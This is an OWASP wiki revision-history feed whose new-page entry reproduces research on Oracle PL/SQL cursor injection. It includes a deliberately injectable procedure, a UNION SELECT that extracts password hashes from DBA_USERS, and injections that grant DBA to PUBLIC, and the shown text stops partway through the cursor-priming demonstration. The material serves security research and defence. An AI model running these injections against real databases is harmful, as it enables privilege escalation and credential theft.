<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/index.php?action=history&amp;feed=atom&amp;title=PL%2FSQL%3ACursor_Injection</id>
		<title>PL/SQL:Cursor Injection - Revision history</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/index.php?action=history&amp;feed=atom&amp;title=PL%2FSQL%3ACursor_Injection"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;action=history"/>
		<updated>2026-04-19T01:09:58Z</updated>
		<subtitle>Revision history for this page on the wiki</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=206951&amp;oldid=prev</id>
		<title>Imifos at 10:47, 21 January 2016</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=206951&amp;oldid=prev"/>
				<updated>2016-01-21T10:47:54Z</updated>
		
		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;tr style='vertical-align: top;' lang='en'&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;Revision as of 10:47, 21 January 2016&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l427&quot; &gt;Line 427:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 427:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP Oracle Project]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP Oracle Project]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;OWASP &lt;/del&gt;SQL &lt;del class=&quot;diffchange diffchange-inline&quot;&gt;Project&lt;/del&gt;]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:SQL]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=204561&amp;oldid=prev</id>
		<title>Imifos at 09:11, 4 December 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=204561&amp;oldid=prev"/>
				<updated>2015-12-04T09:11:27Z</updated>
		
		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;tr style='vertical-align: top;' lang='en'&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;Revision as of 09:11, 4 December 2015&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l428&quot; &gt;Line 428:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 428:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP Oracle Project]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP Oracle Project]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP SQL Project]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP SQL Project]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt;&amp;#160;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;[[Category:PL/SQL]]&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt;&amp;#160;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=204557&amp;oldid=prev</id>
		<title>Imifos at 09:09, 4 December 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=204557&amp;oldid=prev"/>
				<updated>2015-12-04T09:09:32Z</updated>
		
		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;tr style='vertical-align: top;' lang='en'&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;Revision as of 09:09, 4 December 2015&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l427&quot; &gt;Line 427:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 427:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP Oracle Project]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:OWASP Oracle Project]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;Development&lt;/del&gt;]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;OWASP SQL Project&lt;/ins&gt;]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&amp;#160;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;#160;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:PL/SQL]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:PL/SQL]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46413&amp;oldid=prev</id>
		<title>Mjk303 at 15:56, 14 November 2008</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46413&amp;oldid=prev"/>
				<updated>2008-11-14T15:56:17Z</updated>
		
		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;a href=&quot;https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;amp;diff=46413&amp;amp;oldid=46410&quot;&gt;Show changes&lt;/a&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46410&amp;oldid=prev</id>
		<title>Mjk303 at 15:45, 14 November 2008</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46410&amp;oldid=prev"/>
				<updated>2008-11-14T15:45:43Z</updated>
		
		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;col class='diff-marker' /&gt;
				&lt;col class='diff-content' /&gt;
				&lt;tr style='vertical-align: top;' lang='en'&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black; text-align: center;&quot;&gt;Revision as of 15:45, 14 November 2008&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Status==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Status==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;WIP 14/11/2008&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;WIP 14/11/2008&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;, the material is provided by David Litchfield, this needs to be rewritten to the OWASP standard (introduction, vunerabilty, attack and countermeasure)&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&amp;#160;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Also the markup for the code examples is wrong.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Introduction==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;&amp;#160;&lt;/td&gt;&lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==Introduction==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46409&amp;oldid=prev</id>
		<title>Mjk303: New page: ==Status== WIP 14/11/2008  ==Introduction==   On occasion Oracle in their alerts state that the ability to create a procedure or a function  is required for an attacker to be able to explo...</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46409&amp;oldid=prev"/>
				<updated>2008-11-14T15:41:48Z</updated>
		
		<summary type="html">&lt;p&gt;New page: ==Status== WIP 14/11/2008  ==Introduction==   On occasion Oracle in their alerts state that the ability to create a procedure or a function  is required for an attacker to be able to explo...&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==Status==&lt;br /&gt;
WIP 14/11/2008&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
 &lt;br /&gt;
On occasion Oracle in their alerts state that the ability to create a procedure or a function &lt;br /&gt;
is required for an attacker to be able to exploit a flaw. For example, DB02 in the October &lt;br /&gt;
2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE &lt;br /&gt;
trigger. In the Risk Matrix section of the alert it states that an attacker must have the &lt;br /&gt;
CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. &lt;br /&gt;
This paper describes a new method whereby an attacker, seeking to exploit a SQL &lt;br /&gt;
injection flaw in an Oracle database server, may do so without the need to create an &lt;br /&gt;
auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a &lt;br /&gt;
pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this &lt;br /&gt;
research is to show that all SQL injection flaws can be fully exploited without any system &lt;br /&gt;
privilege other than CREATE SESSION and accordingly the risk should never be &lt;br /&gt;
&amp;quot;marked down&amp;quot;. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
The problem for the attacker... &lt;br /&gt;
 &lt;br /&gt;
Consider the following PL/SQL procedure: &lt;br /&gt;
 &lt;br /&gt;
CONNECT / AS SYSDBA &lt;br /&gt;
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS &lt;br /&gt;
TYPE C_TYPE IS REF CURSOR; &lt;br /&gt;
CV C_TYPE; &lt;br /&gt;
BUFFER VARCHAR2(200); &lt;br /&gt;
BEGIN &lt;br /&gt;
DBMS_OUTPUT.ENABLE(1000000); &lt;br /&gt;
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS &lt;br /&gt;
WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; &lt;br /&gt;
LOOP &lt;br /&gt;
FETCH CV INTO BUFFER; &lt;br /&gt;
DBMS_OUTPUT.PUT_LINE(BUFFER); &lt;br /&gt;
EXIT WHEN CV%NOTFOUND; &lt;br /&gt;
END LOOP; &lt;br /&gt;
CLOSE CV; &lt;br /&gt;
END; &lt;br /&gt;
/ &lt;br /&gt;
GRANT EXECUTE ON GET_OWNER TO PUBLIC; &lt;br /&gt;
 &lt;br /&gt;
It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a &lt;br /&gt;
SELECT query which is then executed. Due to the fact that Oracle won't batch queries, &lt;br /&gt;
for example like Microsoft SQL Server, the attacker is limited in terms of what they &lt;br /&gt;
could do when it comes to exploiting the flaw. One thing the attacker could do is perform &lt;br /&gt;
a UNION SELECT to gain access to arbitrary data: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS &lt;br /&gt;
-- '); &lt;br /&gt;
16B58553D83807DF 1718E5DBB8F89784 &lt;br /&gt;
24ABAB8B06281B4C &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
 &lt;br /&gt;
What if they wanted to do more than just this, though, and perform a DDL or DML &lt;br /&gt;
operation? In Oracle, the attacker could not simply inject a &amp;quot;GRANT DBA TO PUBLIC&amp;quot; &lt;br /&gt;
or an &amp;quot;INSERT something into some table&amp;quot; statement after the application defined &lt;br /&gt;
SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a &lt;br /&gt;
function and inject this: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID &lt;br /&gt;
CURRENT_USER IS &lt;br /&gt;
  2  PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
  3  BEGIN &lt;br /&gt;
  4  EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; &lt;br /&gt;
  5  RETURN 'GOT_DBA_PRIVS'; &lt;br /&gt;
  6  END; &lt;br /&gt;
  7  / &lt;br /&gt;
 &lt;br /&gt;
Function created. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Here, SCOTT has created a function called GET_DBA and this is then injected into the &lt;br /&gt;
application defined SELECT query using the concatenation operator - the double pipe. &lt;br /&gt;
As part of executing the SELECT query the database server also executes the GET_DBA &lt;br /&gt;
function with SYS privileges and the GRANT succeeds. This GET_DBA function is an &lt;br /&gt;
auxiliary inject function and it performs the real work of the exploit. If an attacker can't &lt;br /&gt;
create their own functions then they must find a function that already exists on the system &lt;br /&gt;
- a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw &lt;br /&gt;
was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned &lt;br /&gt;
DBMS_EXPORT_EXTENSION package could be used: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP&lt;br /&gt;
UT&amp;quot;.PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--&lt;br /&gt;
','SYS',0,'1',0) &lt;br /&gt;
 &lt;br /&gt;
This package was vulnerable to SQL injection and attacker supplied arguments were &lt;br /&gt;
embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this &lt;br /&gt;
package they could execute arbitrary SQL using this function alone - there was no need &lt;br /&gt;
to inject it into another vulnerable package. As already stated, this has since been fixed.  &lt;br /&gt;
 &lt;br /&gt;
There are two other functions that can be used as auxiliary inject functions, however, they can only be used as such due to a flaw. One is vulnerable to a cursor snarfing issue [see &lt;br /&gt;
http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf] that can be exploited to run &lt;br /&gt;
arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an &lt;br /&gt;
anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. &lt;br /&gt;
Both are currently being fixed by Oracle and until the patch is out they will remain &lt;br /&gt;
&amp;quot;nameless&amp;quot;.  &lt;br /&gt;
 &lt;br /&gt;
Each of the three known extant functions that can be used as auxiliaries contain a &lt;br /&gt;
vulnerability of some sort and will all be patched at some stage making their &amp;quot;usefulness&amp;quot; &lt;br /&gt;
time limited. There is what could be argued as a fourth function that can be abused by an &lt;br /&gt;
attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say &amp;quot;could be &lt;br /&gt;
argued&amp;quot; because it's not as straight forward as simply injecting the function - it needs to &lt;br /&gt;
be primed first. What follows is a description of the new method: it is simple multi-stage &lt;br /&gt;
attack (so simple in fact I should have thought of it years ago!) and it works on all &lt;br /&gt;
versions of Oracle and can be exploited by an attacker to run any SQL - provided of &lt;br /&gt;
course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type &lt;br /&gt;
which is vulnerable to SQL injection. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==The DBMS_SQL package== &lt;br /&gt;
 &lt;br /&gt;
The DBMS_SQL package contains a number of procedures and functions that can be &lt;br /&gt;
used to execute dynamic SQL queries: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0); &lt;br /&gt;
  7     RESULT := DBMS_SQL.EXECUTE(MY_CURSOR); &lt;br /&gt;
  8     DBMS_SQL.CLOSE_CURSOR(MY_CURSOR); &lt;br /&gt;
  9  END; &lt;br /&gt;
  10 / &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here, we create a cursor called &amp;quot;MY_CURSOR&amp;quot; using the &lt;br /&gt;
DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case &lt;br /&gt;
&amp;quot;SELECT 1 FROM DUAL&amp;quot;, by using the DBMS_SQL.PARSE procedure. By doing this, &lt;br /&gt;
the cursor becomes like a handle to this query which is then executed using the &lt;br /&gt;
DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to &lt;br /&gt;
execute arbitrary SQL in open a cursor and parse the SQL and then inject the &lt;br /&gt;
DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''grant dba to public''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
